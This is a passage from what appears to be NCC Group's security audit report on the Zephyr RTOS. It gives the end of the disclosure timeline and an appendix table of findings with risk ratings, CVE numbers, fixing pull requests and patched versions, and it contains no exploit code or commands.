- **March 3, 2020**: Zephyr acknowledged that patching had begun.
- **March 10, 2020**: Zephyr v2.2.0 was released, patching the first series of vulnerabilities.
- **March 13, 2020**: Zephyr team began efforts to backport fixes to older branches v1.14 and v2.1.
- **March 23, 2020**: NCC Group reported 3 additional vulnerabilities: NCC-ZEP-031, NCC-ZEP-032, NCC-ZEP-033.
- **May 11, 2020**: Zephyr lifted the embargo for the first set of findings.
- **May 26, 2020**: Zephyr lifted the embargo for the final issues.
- **May 26, 2020**: Publication of this report.

Appendix C: Patch Status Summary

The following table summarizes the patch status for every finding in this report. For Zephyr's representation of this same data, see PR24893.

NCC ID	Risk	Title	Zephyr ID	CVE	PR	Version
NCC-ZEP-001	Med	ARM and ARC Platforms Use Signed Integer Comparison When Validating Syscall Numbers	ARM: ZEPSEC-30 ARC: ZEPSEC-35	ARM: CVE-2020-10024 ARC: CVE-2020-10027	ARM: PR23535 PR23498 PR23323 ARC: PR23500 PR23499 PR23328	v1.14.2 v2.1.0 v2.2.0
NCC-ZEP-002	High	USB DFU Mode Can Overflow a Global Buffer in the `DFU_UPLOAD` Command	ZEPSEC-25	CVE-2020-10019	PR23460 PR23457 PR23190	v1.14.2 v2.1.1 v2.2.0
NCC-ZEP-003	Low	USB DFU Mode Allows Reading out the Primary Slot Bypassing Image Encryption	––	––	Not Fixed	
NCC-ZEP-004	Low	Socket Submodule's `z_vrfy_zsock_sendmsg` Performs No Argument Verification	––	––	Not Fixed	
NCC-ZEP-005	Med	Integer Overflow in `is_in_region` Allows User Thread to Access Kernel Memory	ZEPSEC-27	CVE-2020-10067	PR23653 PR23654 PR23239	v1.14.2 v2.1.0 v2.2.0
NCC-ZEP-006	Med	Multiple Syscalls in GPIO and kscan Subsystems Perform No Argument Validation	GPIO: ZEPSEC-32 kscan: ZEPSEC-34	GPIO: CVE-2020-10028 kscan: CVE-2020-10058	GPIO: PR23733 PR23737 PR23308 kscan: PR23748 PR23308	GPIO: v1.14.2 v2.1.0 v2.2.0 kscan: v2.1.0 v2.2.0
NCC-ZEP-007	Low	MCUboot's `boot_serial_start` Might Access an Uninitialized Variable	––	––	PR736	master
NCC-ZEP-008	Low	Main Thread Stack Base Is Not Randomized When `CONFIG_STACK_POINTER_RANDOM` Is Enabled	––	––	PR24714	Work In Progress
NCC-ZEP-009	Low	Weak Thread Stack Base Randomization	––	––	Not Fixed	
NCC-ZEP-010	Info	Unused System Calls Are Present in the Syscall Table	––	––	Not Fixed	
NCC-ZEP-012	Low	Stack Canaries Are Shared Between User and Kernel	––	––	Not Fixed	
NCC-ZEP-013	Low	User Threads Can Read and Execute Kernel Flash Memory	––	––	Not Fixed	
NCC-ZEP-016	Med	UpdateHub Module Copies a Variable-Size Hash String Into a Fixed-Size Array	ZEPSEC-28	CVE-2020-10022	PR24154 PR24065 PR24066	v2.1.0 v2.2.0

NCC ID	Risk	Title	Zephyr ID	CVE	PR	Version
NCC-ZEP-018	Low	UpdateHub Module Explicitly Disables TLS Verification	ZEPSEC-36	CVE-2020-10059	PR24954 PR24997 PR24999	v2.1.0 v2.2.0
NCC-ZEP-019	Med	Buffer Overflow Vulnerability in `shell_spaces_trim`	ZEPSEC-29	CVE-2020-10023	PR23646 PR23649 PR23304	v1.14.2 v2.1.0 v2.2.0
NCC-ZEP-020	Info	Shell Thread Runs in Supervisor Mode With `USERSPACE` Enabled	--	--	Not Fixed	
NCC-ZEP-024	High	Arbitrary Read and Limited Write in the USB Mass Storage Driver	ZEPSEC-26	CVE-2020-10021	PR23455 PR23456 PR23240	v1.14.2 v2.1.0 v2.2.0
NCC-ZEP-025	Med	Out-Of-Bounds Write in the USB Mass Storage `memoryWrite` Handler With Unaligned Sizes	ZEPSEC-26	CVE-2020-10021	PR23455 PR23456 PR23240	v1.14.2 v2.1.0 v2.2.0
NCC-ZEP-026	Med	Integer Underflow in USB Mass Storage Driver Write and Verify Handlers	ZEPSEC-26	CVE-2020-10021	PR23455 PR23456 PR23240	v1.14.2 v2.1.0 v2.2.0
NCC-ZEP-027	Crit	Stack Buffer Overflow in `net_ipv4_parse_hdr_options`	ZEPSEC-24	No CVE assigned because bug was introduced and fixed between releases.	PR23159 PR23220	v2.2.0
NCC-ZEP-028	Info	Integer Underflow in `icmpv4_update_*` Functions Results in Stack Buffer Out-of-Bounds Read	--	--	Not Fixed	
NCC-ZEP-029	Med	Remote Denial of Service in IPv6 Router Advertisement Prefix Handling	--	--	Not Fixed	
NCC-ZEP-030	Low	UpdateHub Might Dereference an Uninitialized Pointer	--	CVE-2020-10060	Not fixed. Zephyr recommends disabling UpdateHub	
NCC-ZEP-031	Crit	Unsafe Parsing of MQTT Header Results in Memory Corruption	ZEPSEC-54	CVE-2020-10062	PR23821	v2.2.0
NCC-ZEP-032	Med	Remote Denial of Service in CoAP Option Parsing Due to Integer Overflow	ZEPSEC-55	CVE-2020-10063	PR24530 PR24535 PR24531	v2.2.0 v2.1.0 v1.14
NCC-ZEP-033	Info	Remote Denial of Service in LwM2M `do_write_op_tlv`	--	--	Not Fixed	